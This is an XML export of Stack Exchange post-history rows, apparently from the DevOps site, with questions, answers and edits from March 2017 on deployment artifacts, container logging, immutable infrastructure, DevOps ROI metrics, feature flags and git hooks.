[1]: https://cloud.google.com/logging/&#xD;&#xA;  [2]: https://cloud.google.com/logging/docs/export/using_exported_logs#log_entries_in_google_cloud_storage&#xD;&#xA;  [3]: https://cloud.google.com/logging/docs/export/configure_export&#xD;&#xA;  [4]: https://cloud.google.com/logging/docs/export/using_exported_logs#log_entries_in_google_bigquery&#xD;&#xA;  [5]: https://cloud.google.com/logging/docs/export/using_exported_logs#log_entries_in_google_pubsub_topics" ContentLicense="CC BY-SA 3.0" />
  <row Id="1315" PostHistoryTypeId="2" PostId="424" RevisionGUID="a7bd73b2-92cc-47a7-b3e9-e391163a796f" CreationDate="2017-03-07T18:56:44.947" UserId="600" Text="don't deploy your git repo. develop a real deployment methodology (even if it's as simple as tarring up an archive of deployed scripts). even if you shallow-clone the tip of your source repository, you likely don't need unit tests, documentation, linting profiles, and other supporting ephemera in your deployed environment." ContentLicense="CC BY-SA 3.0" />
  <row Id="1316" PostHistoryTypeId="5" PostId="424" RevisionGUID="d2fa127a-8489-4fcb-8edb-86cbd1a300af" CreationDate="2017-03-07T19:33:53.570" UserId="40" Comment="Integrate comments from OPer" Text="Don't deploy your git repo. Develop a real deployment methodology (even if it's as simple as tarring up an archive of deployed scripts).&#xD;&#xA;&#xD;&#xA;Even if you shallow-clone the tip of your source repository, you likely don't need unit tests, documentation, linting profiles, and other supporting ephemera in your deployed environment.&#xD;&#xA;&#xD;&#xA;**Note**: for repositories of scripted languages that don't really have a &quot;build&quot; step, a trivial way to release an artifact would be to package them in an archive, such as tar or rpm. Then, to &quot;deploy&quot;, you untar the archive or install the rpm. this removes the need for git tooling in your deploy chain (not all prod servers will have those dev tools)." ContentLicense="CC BY-SA 3.0" />
  <row Id="1317" PostHistoryTypeId="5" PostId="424" RevisionGUID="0c8c5f89-fc4e-4a61-80ef-546b7a686636" CreationDate="2017-03-07T19:44:46.243" UserId="40" Comment="integrate part of another comment (which at least to me further clarifies this answer)" Text="Don't deploy your git repo. Develop a real deployment methodology. Even if it's as simple as tarring up an archive (= building an artifact with just the necessary files in it to be deployed) of deployed scripts.&#xD;&#xA;&#xD;&#xA;Even if you shallow-clone the tip of your source repository, you likely don't need unit tests, documentation, linting profiles, and other supporting ephemera in your deployed environment.&#xD;&#xA;&#xD;&#xA;**Note**: for repositories of scripted languages that don't really have a &quot;build&quot; step, a trivial way to release an artifact would be to package them in an archive, such as tar or rpm. Then, to &quot;deploy&quot;, you untar the archive or install the rpm. this removes the need for git tooling in your deploy chain (not all prod servers will have those dev tools)." ContentLicense="CC BY-SA 3.0" />
  <row Id="1318" PostHistoryTypeId="2" PostId="425" RevisionGUID="183714cb-88e7-49c1-84a4-0df143016954" CreationDate="2017-03-07T19:57:49.790" UserId="349" Text="The idea of merging them into one stream just to split them later sounds painful. I've not had a reason to do this myself, but here's where I'd start:&#xD;&#xA;&#xD;&#xA;- When you run the docker container, create a volume such that logs will be easy to view/ship logs from the host.&#xD;&#xA;- Use something like [remote_syslog2](https://github.com/papertrail/remote_syslog2) to ship the logs to your log collector&#xD;&#xA;&#xD;&#xA;It feels a little less-than-elegant to have to do some setup on the host as well, but if you use something like ansible where you can run a playbook and set that up during your deploy to the box it shouldn't be too bad." ContentLicense="CC BY-SA 3.0" />
  <row Id="1320" PostHistoryTypeId="2" PostId="426" RevisionGUID="2bb3e64e-b69f-45f9-a7be-6d4e3b6aa7c0" CreationDate="2017-03-07T20:27:35.650" UserId="256" Text="Immutability is a term often used in computer science circles, which generally boils down to &quot;not possible to change after creation&quot;.  It is typically used in reference to parallelism, concurrency, and thread safety.&#xD;&#xA;&#xD;&#xA;The discussion of that topic is fascinating, but can generally be found elsewhere on Stack Overflow.  I'm resisting the urge to dive into it here.  The key concept is 'not possible to change after creation'.&#xD;&#xA;&#xD;&#xA;Imagine if, on Amazon, you deploy a web service by baking it into an AMI.  It connects to a backend database via credentials it gets out of a registry on startup.  It dumps logs into a logging tool like splunk.  For normal day-to-day operation, you have no reason to ssh into this box.  If you need to scale up that service, you just create more instances of that AMI and adjust a load balancer.  Spinning it down is simply the destruction of instances and load balancers.&#xD;&#xA;&#xD;&#xA;For the day-to-day operation, this box has *no reason to change*.  We can just fire up more off of the AMI.&#xD;&#xA;&#xD;&#xA;What happens when you need to provide an OS-level security patch?  This is when you have a decision to make... do you bake a new AMI with the patch installed and redeploy all running instances, or do you ssh into existing images and update the patch?  There are plenty of people who would just ssh in.  The adherents of 'immutable architecture' just yelled at me for even suggesting such a thing is possible.&#xD;&#xA;&#xD;&#xA;Immutabilists (if there is such a word) advocate baking the new ami.  They advocate removing all reason to ssh into a machine ever.  They advocate that any specific machine configuration should happen on the startup of that machine by pulling config details out of a repository.  This is the ultimate expression of 'cattle, not pets'.&#xD;&#xA;&#xD;&#xA;Immutable architecture is specifically about machine configurations that *have no reason to change after the creation of the machine image*.  If something needs to change, bake a new instance image, shut down the old, bring up the new." ContentLicense="CC BY-SA 3.0" />
  <row Id="1321" PostHistoryTypeId="2" PostId="427" RevisionGUID="a1adff82-9331-4221-a02f-45534760e9bc" CreationDate="2017-03-07T20:34:26.387" UserId="72" Text="DevOps is complex, and involves many non-deterministic aspects like culture and process.  What are some ways to measure DevOps initiatives for success?  How do you prove to a business that the investment they have made is returning (or saving) real dollars?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1322" PostHistoryTypeId="1" PostId="427" RevisionGUID="a1adff82-9331-4221-a02f-45534760e9bc" CreationDate="2017-03-07T20:34:26.387" UserId="72" Text="What are some methods to measure the ROI for DevOps?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1323" PostHistoryTypeId="3" PostId="427" RevisionGUID="a1adff82-9331-4221-a02f-45534760e9bc" CreationDate="2017-03-07T20:34:26.387" UserId="72" Text="&lt;metrics&gt;&lt;measurement&gt;&lt;roi&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1324" PostHistoryTypeId="5" PostId="404" RevisionGUID="62177981-269e-4a58-815e-822ff60f8f60" CreationDate="2017-03-07T21:50:39.010" UserId="40" Comment="added 8 characters in body" Text="I have the following setting:&#xD;&#xA;&#xD;&#xA;&gt; Create multiple workers, do a computation  and terminate them after the&#xD;&#xA;&gt; computation is done.&#xD;&#xA;&#xD;&#xA;So, every-time it’ll be a different instance running the task, so each host will have its own a log file, this will result in a huge list of files.  &#xD;&#xA;&#xD;&#xA;Is it a good practice? If not, what would be a better way for logging the task processing in this particular use-case?&#xD;&#xA;&#xD;&#xA;PS: My infrastructure is serverless. So, for now, I am logging to (AWS)CloudWatch. But, please answer the question independently of AWS, and suiting a serverless setup as much as possible." ContentLicense="CC BY-SA 3.0" />
  <row Id="1325" PostHistoryTypeId="5" PostId="419" RevisionGUID="60357fd9-9cf8-45fb-8d96-5d946d2e7ae2" CreationDate="2017-03-07T21:55:11.250" UserId="40" Comment="Integrate comments from OPer" Text="Sometimes you have to investigate a container, which is stopped, or a container which after starting up dies very quickly and stops.&#xD;&#xA;&#xD;&#xA;`docker exec -ti &lt;id&gt; bash` only works on running containers, once it finishes, the bash prompt terminates as well.&#xD;&#xA;&#xD;&#xA;With `docker start` you cannot supply a different command, and if the container dies abruptly again you won't have enough time to get into the container and do your investigations.&#xD;&#xA;&#xD;&#xA;We can do `docker commit`, then `docker run` on the new image with a different command, but I'm wondering if there are any other alternatives.&#xD;&#xA;&#xD;&#xA;**Note**: `docker logs` just returns whatever the apps printed to stdout/stderr. That might not be enough to figure out what the problem was." ContentLicense="CC BY-SA 3.0" />
  <row Id="1326" PostHistoryTypeId="2" PostId="428" RevisionGUID="ae20dca1-80e2-4d47-a657-ce1d971a76a0" CreationDate="2017-03-07T22:01:37.137" UserId="13" Text="Captain obvious : by reducing time to market and defects on releases.&#xD;&#xA;&#xD;&#xA;To extend on this one liner, the usual pitfall is being an organization change without any reference. &#xD;&#xA;&#xD;&#xA;Engaging a culture or organization change implies some expense to train and introduce people to this new method, this have a cost in training but also imply a loss in productivity as people in a train session won't produce anything. This is the investment part of the cultural change.&#xD;&#xA;&#xD;&#xA;To measure a ROI you have to first find some relevant metrics which should be improved (understand costly, either expensive or source of loss of profit). This could be a shorter time to market, less patch after each release, a better customer engagement within your product. Relevant metrics will be highly dependent of your product(s).&#xD;&#xA;&#xD;&#xA;Measuring a ROI (how fast you have covered the training expense) implies that you can factually present an evolution on those metrics, so before engaging any change you must have defined those metrics and measured them in an objective way.  &#xD;&#xA;Once you have a real evolution to show you can tell if you did improve something&#xD;&#xA;&#xD;&#xA;The usual pitfall is to engage the change before having defined any metrics and thus evaluating the ROI on a feeling and not on factual datas.&#xD;&#xA;&#xD;&#xA;Productivity can be a metric, but its measurement is usually very hard to do in an objective fashion and should not be a first class metric for this kind of study." ContentLicense="CC BY-SA 3.0" />
  <row Id="1327" PostHistoryTypeId="5" PostId="426" RevisionGUID="7a59f262-a266-4dbc-961a-a780989cf7b6" CreationDate="2017-03-07T22:16:48.463" UserId="256" Comment="improved based on feedback given by reviewer" Text="Immutability is a term often used in computer science circles, which generally boils down to &quot;not possible to change after creation&quot;.  It is typically used in reference to parallelism, concurrency, and thread safety.&#xD;&#xA;&#xD;&#xA;The discussion of that topic is fascinating, but can generally be found [elsewhere on Stack Overflow][1].  I'm resisting the urge to dive into it here.  The key concept is 'not possible to change after creation'.&#xD;&#xA;&#xD;&#xA;Imagine if, on Amazon, you deploy a web service by baking it into a Machine Image (AMI - a pre-built instance you can repeatedly re-provision).  It connects to a backend database via credentials it gets out of a registry on startup.  It dumps logs into a logging tool like Splunk.  For normal day-to-day operation, you have no reason to ssh into this box.  If you need to scale up that service, you just create more instances of that AMI and adjust a load balancer.  Spinning it down is simply the destruction of instances and load balancers.&#xD;&#xA;&#xD;&#xA;For the day-to-day operation, this box has *no reason to change*.  We can just fire up more off of the AMI.&#xD;&#xA;&#xD;&#xA;What happens when you need to provide an OS-level security patch?  This is when you have a decision to make... do you bake a new AMI with the patch installed and redeploy all running instances, or do you ssh into existing images and update the patch?  There are plenty of people who would just ssh in.  The adherents of 'immutable architecture' just yelled at me for even suggesting such a thing is possible.&#xD;&#xA;&#xD;&#xA;Immutabilists (if there is such a word) advocate baking the new ami.  They advocate removing all reason to ssh into a machine ever.  They advocate that any specific machine configuration should happen on the startup of that machine by pulling config details out of a repository.  This is the ultimate expression of 'cattle, not pets'.&#xD;&#xA;&#xD;&#xA;Immutable architecture is specifically about machine configurations that *have no reason to change after the creation of the machine image*.  If something needs to change, bake a new instance image, shut down the old, bring up the new.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/279507/what-is-meant-by-immutable" ContentLicense="CC BY-SA 3.0" />
  <row Id="1328" PostHistoryTypeId="2" PostId="429" RevisionGUID="b1ef2045-83e4-4342-9de6-be04521a32ec" CreationDate="2017-03-07T22:31:15.693" UserId="256" Text="The key metric for a DevOps pipeline is **Cycle Time** (also called **Lead Time**).  This is the time it takes for a change (or a change request, tracking all the way to the inception of the idea).  The best illustration of this concept I know of is from the book &quot;The Goal&quot;, which talks about it in a manufacturing context.&#xD;&#xA;&#xD;&#xA;**Deployment Frequency** is useful as well.  We want deployments to be frequent in a DevOps pipeline.  There is no magical &quot;1 day is good, 2 days is bad&quot; measurement; this will need a historical context on your project to be meaningful.&#xD;&#xA;&#xD;&#xA;**Deployment Size**: Measured in however your developers measure work - user stories, story points, quatloos, whatever.  Again, you want to see trends over time, not absolute value.&#xD;&#xA;&#xD;&#xA;Between frequency and size there is a story to tell.  Are our releases becoming more infrequent and larger?  why?  Are they becoming smaller and more frequent?  Again, why?&#xD;&#xA;&#xD;&#xA;Explaining whether the frequency/size trend is good, we will also need **Percentage of Failed Deploys**.  Uncovering the 'why' in those three metrics will tell you a lot about the health of the project.&#xD;&#xA;&#xD;&#xA;My personal favorite, although it is a vanity metric, is **Time for a Trivial Deploy**.  If you found the smallest possible thing worth redeploying the entire site over... perhaps a typo in the CEO's name... how quickly could you go from the panic phone call to a deployed site?  I say 'vanity' because it really isn't that predictive beyond what the other metrics above discuss, but makes me feel good when I like the value.&#xD;&#xA;&#xD;&#xA;If we get into monitoring, there are a bunch of different things we can track...  from all-encompassing things like '**Uptime**', to really low level things like the **time spent regenerating custom HTML** on a request-response cycle...  but those aren't specific to instituting a DevOps culture.&#xD;&#xA;&#xD;&#xA;Beyond this advice, you should take a look at the [State Of DevOps Report][1] for the past few years.  This is full of measurements about real world projects that you could emulate.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://puppet.com/resources/whitepaper/2016-state-of-devops-report" ContentLicense="CC BY-SA 3.0" />
  <row Id="1329" PostHistoryTypeId="5" PostId="429" RevisionGUID="ea33c07c-c599-42a3-a6bf-aa8d24290c9a" CreationDate="2017-03-07T22:36:56.543" UserId="256" Comment="added information about &quot;The Goal&quot; tying it to the cost analysis originally asked for in this question." Text="The key metric for a DevOps pipeline is **Cycle Time** (also called **Lead Time**).  This is the time it takes for a change (or a change request, tracking all the way to the inception of the idea).  The best illustration of this concept I know of is from the book &quot;The Goal&quot;, which talks about it in a manufacturing context.&#xD;&#xA;&#xD;&#xA;**Deployment Frequency** is useful as well.  We want deployments to be frequent in a DevOps pipeline.  There is no magical &quot;1 day is good, 2 days is bad&quot; measurement; this will need a historical context on your project to be meaningful.&#xD;&#xA;&#xD;&#xA;**Deployment Size**: Measured in however your developers measure work - user stories, story points, quatloos, whatever.  Again, you want to see trends over time, not absolute value.&#xD;&#xA;&#xD;&#xA;Between frequency and size there is a story to tell.  Are our releases becoming more infrequent and larger?  why?  Are they becoming smaller and more frequent?  Again, why?&#xD;&#xA;&#xD;&#xA;Explaining whether the frequency/size trend is good, we will also need **Percentage of Failed Deploys**.  Uncovering the 'why' in those three metrics will tell you a lot about the health of the project.&#xD;&#xA;&#xD;&#xA;My personal favorite, although it is a vanity metric, is **Time for a Trivial Deploy**.  If you found the smallest possible thing worth redeploying the entire site over... perhaps a typo in the CEO's name... how quickly could you go from the panic phone call to a deployed site?  I say 'vanity' because it really isn't that predictive beyond what the other metrics above discuss, but makes me feel good when I like the value.&#xD;&#xA;&#xD;&#xA;If we get into monitoring, there are a bunch of different things we can track...  from all-encompassing things like '**Uptime**', to really low level things like the **time spent regenerating custom HTML** on a request-response cycle...  but those aren't specific to instituting a DevOps culture.&#xD;&#xA;&#xD;&#xA;These don't directly tie to dollars... doing so will require more knowledge about your org than I can offer in a forum like this;  but they are the key to BEGIN to answer that question.  Once you know you are able to regularly release work into production as a non-event, you can begin to see how much effort you were wasting before.  As the book &quot;The Goal&quot; teaches (about manufacturing pipelines - it's relevant), optimizing locally can *look* like you're saving money, but ultimately, it just creates value that is tied up in inventory (undeployed features).&#xD;&#xA;&#xD;&#xA;Beyond this advice, you should take a look at the [State Of DevOps Report][1] for the past few years.  This is full of measurements about real world projects that you could emulate.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://puppet.com/resources/whitepaper/2016-state-of-devops-report" ContentLicense="CC BY-SA 3.0" />
  <row Id="1331" PostHistoryTypeId="5" PostId="425" RevisionGUID="495aeb6a-485e-4f44-b191-1db91cde0af0" CreationDate="2017-03-07T23:21:58.750" UserId="349" Comment="deleted 2 characters in body" Text="The idea of merging them into one stream just to split them later sounds painful. I've not had a reason to do this myself, but here's where I'd start:&#xD;&#xA;&#xD;&#xA;- When you run the docker container, create a volume such that it will be easy to view/ship logs from the host.&#xD;&#xA;- Use something like [remote_syslog2](https://github.com/papertrail/remote_syslog2) to ship the logs to your log collector&#xD;&#xA;&#xD;&#xA;It feels a little less-than-elegant to have to do some setup on the host as well, but if you use something like ansible where you can run a playbook and set that up during your deploy to the box it shouldn't be too bad." ContentLicense="CC BY-SA 3.0" />
  <row Id="1332" PostHistoryTypeId="2" PostId="430" RevisionGUID="37d52e9a-ab4e-4fcf-baf7-033d9e9f22c5" CreationDate="2017-03-08T00:04:08.010" UserId="132" Text="Great question! Most of us know investing in DevOps practices is a highly worthwhile pursuit for myriad reasons; we don't often justify DevOps on the impact to the bottom line alone, though.&#xD;&#xA;&#xD;&#xA;**Note**: this is something of an opinionated question, and my answer is likewise, opinionated.&#xD;&#xA;&#xD;&#xA;Tensibai wisely suggested we find the right metrics, and he used time-to-market as an example. This is a great big-picture approach.&#xD;&#xA;&#xD;&#xA;As an alternative approach, my experience with bean-counters is that they don't need to--or necessarily want to--know the big-picture, they just want evidence of fiscal responsibility. They want to see a trend in the right direction.&#xD;&#xA;&#xD;&#xA;Here are just a few fiscal wins:&#xD;&#xA;&#xD;&#xA; - calculate the server costs saved by leveraging [auto-scaling][1] in the cloud&#xD;&#xA; - for income-generating sites, extrapolate the cost-per-minute of downtime, then show improvements in [MTTI and MTTR][2]&#xD;&#xA; - again, for income-generating sites, estimate the cost-per-minute saved by leveraging highly-available architecture based on past incidents&#xD;&#xA; - if you've improved on your build and deploy pipeline, show that you've reduced regressions and errors in production caused by already-tracked faults&#xD;&#xA; - if you've made improvements to developer test environments, or even the tools and configuration on developer laptops, look at commit histories to see if new engineers are making their first contributions sooner after joining&#xD;&#xA; - perform a full cost comparison between cloud and on-prem, much like [Gitlab did recently][3], to justify your infrastructure spending (a.k.a. savings!)&#xD;&#xA;&#xD;&#xA;Showing that you're money-conscious and you have a few clear wins is often sufficient. I've certainly missed some obvious examples; feel free to add comments below.&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/autoscaling/latest/userguide/auto-scaling-benefits.html&#xD;&#xA;  [2]: https://www.sumologic.com/what-are-mttr-and-mtti/&#xD;&#xA;  [3]: https://about.gitlab.com/2017/03/02/why-we-are-not-leaving-the-cloud/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1333" PostHistoryTypeId="5" PostId="372" RevisionGUID="803078e6-4dc9-40a7-87ae-fc0d1ddb8363" CreationDate="2017-03-08T02:35:47.333" UserId="47" Comment="fixed typo" Text="If the project is for a startup's minimum viable product or some other sort of sanity-check/proof of concept effort - hackathon before DevOps is often recommended - basically in the &quot;fail-fast/fail cheap&quot; [lean startup strategy][1].&#xD;&#xA;&#xD;&#xA;Some might recommend hackathon before DevOps in other situations as well, for time-to-market reasons. But if DevOps doesn't followup fast enough that initial market bridgehead can easily collapse. Possible reasons for that include:&#xD;&#xA;&#xD;&#xA;- that early momentum can be ephemeral - easily lost as soon as the DevOps process starts to be established (&quot;it's too hard, it's slowing us down&quot;)&#xD;&#xA;&#xD;&#xA;- typically hackathons cause accumulation of technical debt. The cost of managing and eliminating it can outweighs the benefits of that early momentum.&#xD;&#xA;&#xD;&#xA;  [1]: http://theleanstartup.com/principles" ContentLicense="CC BY-SA 3.0" />
  <row Id="1334" PostHistoryTypeId="5" PostId="184" RevisionGUID="41c93e93-16e6-4983-b8ad-abcb3fe58b12" CreationDate="2017-03-08T04:35:24.560" UserId="47" Comment="included quote from external link" Text="Yes, you can use the AWS SDK to store objects within google storage. &#xD;&#xA;&#xD;&#xA;From [Simple migration][1]:&#xD;&#xA;&#xD;&#xA;&gt; In a simple migration from Amazon S3 to Google Cloud Storage, you can&#xD;&#xA;&gt; use your existing tools and libraries for generating authenticated&#xD;&#xA;&gt; REST requests to Amazon S3, to also send authenticated requests to&#xD;&#xA;&gt; Google Cloud Storage. The changes you need to make to your existing&#xD;&#xA;&gt; tools and libraries are described in this section.&#xD;&#xA;&gt; &#xD;&#xA;&gt; To get set up for a simple migration do the following:&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Set a [default Google project][2].&#xD;&#xA;&gt; - Get a [developer key][3].&#xD;&#xA;&gt; - In your existing tools or libraries, make the following changes:&#xD;&#xA;&gt;  - Change the request endpoint to use the [Cloud Storage request endpoint][4].&#xD;&#xA;&gt;  - Replace the Amazon Web Services (AWS) access and secret key with the corresponding Cloud Storage access key and secret key&#xD;&#xA;&gt; (collectively called your Google developer key).&#xD;&#xA;&gt; &#xD;&#xA;&gt; That's it! At this point you can start using your existing tools and&#xD;&#xA;&gt; libraries to send keyed-hash message authentication code (HMAC)&#xD;&#xA;&gt; requests to Google Cloud Storage.&#xD;&#xA;&gt; &#xD;&#xA;&gt; When you use the Cloud Storage XML API in a simple migration scenario,&#xD;&#xA;&gt; specifying the `AWS` signature identifier in the `Authorization`&#xD;&#xA;&gt; header lets Cloud Storage know to expect `x-amz-*` headers and Amazon&#xD;&#xA;&gt; S3 ACL XML syntax in your request.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Note:** A simple migration from Amazon S3 is an easy and quick way to get started using Google Cloud Storage, with a minimal investment&#xD;&#xA;&gt; in time and changes to your existing code. After you have some&#xD;&#xA;&gt; experience with a simple migration, you can fully transition to Google&#xD;&#xA;&gt; Cloud Storage to take advantage of all its features. For more&#xD;&#xA;&gt; information, see [Full Migration][5].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/storage/docs/migrating#migration-simple&#xD;&#xA;  [2]: https://cloud.google.com/storage/docs/migrating#defaultproj&#xD;&#xA;  [3]: https://cloud.google.com/storage/docs/migrating#keys&#xD;&#xA;  [4]: https://cloud.google.com/storage/docs/request-endpoints&#xD;&#xA;  [5]: https://cloud.google.com/storage/docs/migrating#migration-full" ContentLicense="CC BY-SA 3.0" />
  <row Id="1335" PostHistoryTypeId="5" PostId="400" RevisionGUID="a5b98738-584e-4b85-913a-ea7759cbaa23" CreationDate="2017-03-08T04:43:29.210" UserId="588" Comment="clarification of feature testing" Text="In an ideal world I think you roll out a new build and surprise! NOTHING changes.  This is because all of your new features are behind switches that go out with the switch off.&#xD;&#xA;&#xD;&#xA;Post-deployment you verify that your rolled-out service still works, the phones aren't ringing any more (unless ringing phones is your purpose, that is), etc.  Once you are back to a known stable operation you begin enabling and verifying your newly deployed features.&#xD;&#xA;&#xD;&#xA;Now for your answer:  How would you like to work on a team where being on call is practically a no-brainer and our users love us because our sites and services are rock solid stable?&#xD;&#xA;&#xD;&#xA;That's the team I want to work on.&#xD;&#xA;&#xD;&#xA;You can stop reading here if you want.&#xD;&#xA;&#xD;&#xA;Putting everything behind a feature switch seems like it can lead to spaghetti code everywhere.  If you use IoC and are able to select between vNow/vNext/vPrevious then it comes down to maintaining your configuration.  Yes more check ins, yes more classes (componentV1, componentV2, componentV3, etc.) but you actually have a more stable system?  How?  vNext is wonky?  Switch back to vNow with your control tower.  Been a week and vNow has a subtle bug?  Same thing - go back to vPrevious just as easily.&#xD;&#xA;&#xD;&#xA;No hassle, no worries, no lost sleep, no stress.&#xD;&#xA;&#xD;&#xA;This isn't a pipe dream.  I used to work there.  Wish I could sell this to my current team." ContentLicense="CC BY-SA 3.0" />
  <row Id="1336" PostHistoryTypeId="5" PostId="166" RevisionGUID="a7b90d8a-a0e5-41e7-b89a-044d2347b40b" CreationDate="2017-03-08T05:17:40.283" UserId="588" Comment="some words to get over the max length but mainly change &quot;have the feature on&quot; to &quot;have the feature off&quot;" Text="The steps are quite &quot;easy&quot;, to move to a feature flag app you need basically two things:&#xD;&#xA;&#xD;&#xA; 1. A flag repository (file/data base/env variable)&#xD;&#xA; 2. Conditional statements to change the behavior according to the flag.&#xD;&#xA;&#xD;&#xA;The basic of feature flag is to turn them on/off, but quickly you'll wish to release a new feature in a ramp-up manner (for example: 1 server on 5 hosting the app have the feature off to start, until 5 on 5 have it).&#xD;&#xA;&#xD;&#xA;This means you have to be careful about your feature being compatible with the app without it (extra column in DB for example).&#xD;&#xA;&#xD;&#xA;Frameworks exists in various languages to avoid reinventing the wheel, the now un-maintained one from Etsy's have an interesting [readme](https://github.com/etsy/feature) to explain how it works." ContentLicense="CC BY-SA 3.0" />
  <row Id="1337" PostHistoryTypeId="24" PostId="166" RevisionGUID="a7b90d8a-a0e5-41e7-b89a-044d2347b40b" CreationDate="2017-03-08T05:17:40.283" Comment="Proposed by 588 approved by 13 edit id of 129" ContentLicense="CC BY-SA 3.0" />
  <row Id="1338" PostHistoryTypeId="5" PostId="35" RevisionGUID="83c6a1cd-3571-4b6f-a29a-4bbfc540c3c4" CreationDate="2017-03-08T05:18:03.273" UserId="14" Comment="Remove image plagiarised from Wikipedia: https://commons.wikimedia.org/wiki/File:Git_data_flow_simplified.svg" Text="Git is an open source distributed version control system.&#xD;&#xA;&#xD;&#xA;### Resources&#xD;&#xA;&#xD;&#xA;- [Homepage][2].&#xD;&#xA;- [Pro Git book][3].&#xD;&#xA;- [Git Reference][4].&#xD;&#xA;&#xD;&#xA;  [2]: http://git-scm.com/&#xD;&#xA;  [3]: https://git-scm.com/book&#xD;&#xA;  [4]: http://gitref.org/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1339" PostHistoryTypeId="24" PostId="35" RevisionGUID="83c6a1cd-3571-4b6f-a29a-4bbfc540c3c4" CreationDate="2017-03-08T05:18:03.273" Comment="Proposed by 14 approved by 6, 13 edit id of 117" ContentLicense="CC BY-SA 3.0" />
  <row Id="1340" PostHistoryTypeId="2" PostId="431" RevisionGUID="096e3375-f8db-4c95-90f9-3b9adb7f7c3b" CreationDate="2017-03-08T05:33:25.410" UserId="47" Text="I'm investigating the possibility of implementing a &quot;pre-commit&quot; verification flow, enforced on the central SCM server side. By &quot;pre-commit&quot; in this paragraph I don't mean the `git` `pre-commit` hook, I really mean *before* the change becomes part of the integration branch, visible to all developers working on the branch.&#xD;&#xA;&#xD;&#xA;For `git` in particular, which is a distributed SCM, the `commit` phase happens on the local server, which is not what I need. So I can't use the `git` `pre-commit` hook. &#xD;&#xA;&#xD;&#xA;From what I gather the [`pre-receive` hook][1] would be what I'm after:&#xD;&#xA;&#xD;&#xA;&gt; This hook is invoked by 'git-receive-pack' on the remote repository,&#xD;&#xA;&gt; which happens when a 'git push' is done on a local repository. Just&#xD;&#xA;&gt; before starting to update refs on the remote repository, the&#xD;&#xA;&gt; pre-receive hook is invoked.  Its exit status determines the success&#xD;&#xA;&gt; or failure of the update.&#xD;&#xA;&gt; &#xD;&#xA;&gt; This hook executes once for the receive operation. [snip]&#xD;&#xA;&#xD;&#xA;&gt; If the hook exits with non-zero status, none of the refs will be&#xD;&#xA;&gt; updated. If the hook exits with zero, updating of individual refs can&#xD;&#xA;&gt; still be prevented by the `&lt;&lt;update,'update'&gt;&gt;` hook.&#xD;&#xA;&#xD;&#xA;Or maybe the related [`update` hook][2]:&#xD;&#xA;&#xD;&#xA;&gt; This hook is invoked by 'git-receive-pack' on the remote repository,&#xD;&#xA;&gt; which happens when a 'git push' is done on a local repository. Just&#xD;&#xA;&gt; before updating the ref on the remote repository, the update hook is&#xD;&#xA;&gt; invoked.  Its exit status determines the success or failure of the ref&#xD;&#xA;&gt; update.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The hook executes once for each ref to be updated, [snip]&#xD;&#xA;&#xD;&#xA;The complication is that the verification itself can take a while.&#xD;&#xA;&#xD;&#xA;My question: is the execution of these hooks serialized (by `git`)? Meaning will another hook invocation (due to a subsequent `push` operation performed **before** the previous hook execution completes):&#xD;&#xA;&#xD;&#xA;- fail,&#xD;&#xA;- block until the previous, still running execution finishes,&#xD;&#xA;&#xD;&#xA;or &#xD;&#xA;&#xD;&#xA;- simply run in parallel with the previous hook execution?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/git/git/blob/master/Documentation/githooks.txt#L221&#xD;&#xA;  [2]: https://github.com/git/git/blob/master/Documentation/githooks.txt#L259" ContentLicense="CC BY-SA 3.0" />
  <row Id="1341" PostHistoryTypeId="1" PostId="431" RevisionGUID="096e3375-f8db-4c95-90f9-3b9adb7f7c3b" CreationDate="2017-03-08T05:33:25.410" UserId="47" Text="Are git pre-receive/update hooks serialized?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1342" PostHistoryTypeId="3" PostId="431" RevisionGUID="096e3375-f8db-4c95-90f9-3b9adb7f7c3b" CreationDate="2017-03-08T05:33:25.410" UserId="47" Text="&lt;git&gt;&lt;git-hooks&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1343" PostHistoryTypeId="5" PostId="407" RevisionGUID="6e7fb58a-c086-4a9d-8e97-4962ea207e1f" CreationDate="2017-03-08T06:30:49.387" UserId="44" Comment="GIT =&gt; Git" Text="### Shallow clone&#xD;&#xA;&#xD;&#xA;You can indeed get a shallow clone out of Git using:&#xD;&#xA;&#xD;&#xA;    git clone --depth=1 &lt;url&gt;&#xD;&#xA;&#xD;&#xA;This will still clone the repo and create a `.git` folder with the objects, only smaller in size (difference depending on your total file size vs. history size).&#xD;&#xA;&#xD;&#xA;### Git archive&#xD;&#xA;&#xD;&#xA;You can also use [git-archive](https://git-scm.com/docs/git-archive) to extract an archive of the repo:&#xD;&#xA;&#xD;&#xA;&gt; Creates an archive of the specified format containing the tree structure for the named tree, and writes it out to the standard output. If &lt;prefix&gt; is specified it is prepended to the filenames in the archive.&#xD;&#xA;&#xD;&#xA;In the [examples](https://git-scm.com/docs/git-archive#_examples) it shows for instance:&#xD;&#xA;&#xD;&#xA;    git archive --format=tar --prefix=git-1.4.0/ v1.4.0 | gzip &gt;git-1.4.0.tar.gz  &#xD;&#xA;&#xD;&#xA;&gt; Create a compressed tarball for [tag:v1.4.0] release.&#xD;&#xA;&#xD;&#xA;### Hosted Git, archive API&#xD;&#xA;&#xD;&#xA;If you are hosting your repo on GitHub, then you can use their [archive API](https://developer.github.com/v3/repos/contents/#get-archive-link):&#xD;&#xA;&#xD;&#xA;`https://api.github.com/repos/&lt;username&gt;/&lt;repository&gt;/zipball/&lt;commit_hash&gt;`&#xD;&#xA;&#xD;&#xA;Bitbucket.org has a same functionality for this:&#xD;&#xA;&#xD;&#xA;`https://bitbucket.org/&lt;username&gt;/&lt;repository&gt;/get/&lt;branch_name|commit_hash|tag&gt;.zip`" ContentLicense="CC BY-SA 3.0" />
